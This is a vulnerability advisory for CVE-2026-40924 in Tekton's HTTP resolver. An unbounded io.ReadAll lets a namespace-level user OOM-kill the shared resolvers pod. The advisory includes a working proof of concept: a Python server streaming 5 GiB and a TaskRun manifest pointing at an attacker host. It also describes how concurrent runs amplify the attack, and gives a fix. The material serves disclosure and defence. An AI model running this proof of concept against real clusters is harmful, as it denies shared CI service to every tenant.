CVE-2026-40924

Description

## Summary The HTTP resolver's `FetchHttpResource` function calls `io.ReadAll(resp.Body)` with no response body size limit. Any tenant with permission to create TaskRuns or PipelineRuns that reference the HTTP resolver can point it at an attacker-controlled HTTP server that returns a very large response body within the 1-minute timeout window, causing the `tekton-pipelines-resolvers` pod to be OOM-killed by Kubernetes. Because all resolver types (Git, Hub, Bundle, Cluster, HTTP) run in the same pod, crashing this pod denies resolution service to the entire cluster. Repeated exploitation causes a sustained crash loop. The same vulnerable code path is reached by both the deprecated `pkg/resolution/resolver/http` and the current `pkg/remoteresolution/resolver/http` implementations. ## Details `pkg/resolution/resolver/http/resolver.go:279–307`: ```go func FetchHttpResource(ctx context.Context, params map[string]string, kubeclient kubernetes.Interface, logger *zap.SugaredLogger) (framework.ResolvedResource, error) { httpClient, err := makeHttpClient(ctx) // default timeout: 1 minute // ... resp, err := httpClient.Do(req) // ... defer func() { _ = resp.Body.Close() }() body, err := io.ReadAll(resp.Body) // ← no size limit if err != nil { return nil, fmt.Errorf("error reading response body: %w", err) } // ... } ``` `makeHttpClient` sets `http.Client{Timeout: timeout}` where `timeout` defaults to 1 minute and is configurable via `fetch-timeout` in the `http-resolver-config` ConfigMap. The timeout bounds the duration of the entire request (including body read), which limits slow-drip attacks. However, it does not limit the total number of bytes allocated. A fast HTTP server can deliver multi-gigabyte responses well within the 1-minute window. The resolver deployment (`config/core/deployments/resolvers-deployment.yaml`) sets a 4 GiB memory limit on the `controller` container. A response of 4 GiB or larger delivered at wire speed will cause `io.ReadAll` to allocate 4 GiB, triggering an OOM-kill. With the default timeout of 60 seconds, a server delivering at 100 MB/s can supply 6 GB — well above the 4 GiB limit — before the timeout fires. The `remoteresolution` HTTP resolver (`pkg/remoteresolution/resolver/http/resolver.go:90`) delegates directly to the same `FetchHttpResource` function and is equally affected. ## PoC ```bash # Step 1: Run an HTTP server that streams a large response fast python3 - <<'EOF' import http.server, socketserver class LargeResponseHandler(http.server.BaseHTTPRequestHandler): def do_GET(self): self.send_response(200) self.send_header("Content-Type", "application/octet-stream") self.end_headers() # Stream 5 GB at full speed — completes in <60s on a local network chunk = b"X" * (1024 * 1024) # 1 MiB chunk for _ in range(5120): # 5120 * 1 MiB = 5 GiB self.wfile.write(chunk) def log_message(self, *args): pass with socketserver.TCPServer(("", 8080), LargeResponseHandler) as httpd: httpd.serve_forever() EOF # Step 2: Create a TaskRun that triggers the HTTP resolver kubectl create -f - <<'EOF' apiVersion: tekton.dev/v1 kind: TaskRun metadata: name: dos-poc namespace: default spec: taskRef: resolver: http params: - name: url value: http://attacker-server.internal:8080/large-payload EOF # Expected result: tekton-pipelines-resolvers pod is OOM-killed. # All resolver types in the cluster (git, hub, bundle, cluster, http) # become unavailable until Kubernetes restarts the pod. # Repeated submission causes a crash loop that continuously disrupts # resolution for all tenants in the cluster. ``` **Note:** On clusters where operators have set a higher `fetch-timeout` (e.g., `10m`), the attacker has more time to deliver a larger body, and the attack is more reliable. On clusters with tight memory limits on the resolver pod, a smaller payload suffices. ## Impact - **Denial of Service**: OOM-kill of the `tekton-pipelines-resolvers` pod denies all resolution services cluster-wide until Kubernetes restarts the pod. - **Crash loop amplification**: A tenant can submit multiple concurrent TaskRuns pointing to the attack server. Each in-flight resolution request accumulates memory independently in the same pod, reducing the payload size needed to reach the OOM threshold. - **Blast radius**: Because all resolver types share a single pod, disrupting the HTTP resolver also disrupts unrelated users of the Git, Bundle, Cluster, and Hub resolvers. This is a cluster-wide availability impact achievable by a single namespace-level user. ## Recommended Fix Wrap `resp.Body` with `io.LimitReader` before passing to `io.ReadAll`. Add a configurable `max-body-size` option to the `http-resolver-config` ConfigMap with a sensible default (e.g., 50 MiB, which exceeds the size of any realistic pipeline YAML file): ```go const defaultMaxBodyBytes = 50 * 1024 * 1024 // 50 MiB // In FetchHttpResource, replace: // body, err := io.ReadAll(resp.Body) // with: maxBytes := int64(defaultMaxBodyBytes) if v, ok := conf["max-body-size"]; ok { if parsed, err := strconv.ParseInt(v, 10, 64); err == nil { maxBytes = parsed } } limitedReader := io.LimitReader(resp.Body, maxBytes+1) body, err := io.ReadAll(limitedReader) if err != nil { return nil, fmt.Errorf("error reading response body: %w", err) } if int64(len(body)) > maxBytes { return nil, fmt.Errorf("response body exceeds maximum allowed size of %d bytes", maxBytes) } ``` This fix must be applied to `FetchHttpResource` in `pkg/resolution/resolver/http/resolver.go`, which is shared by both the deprecated and current HTTP resolver implementations.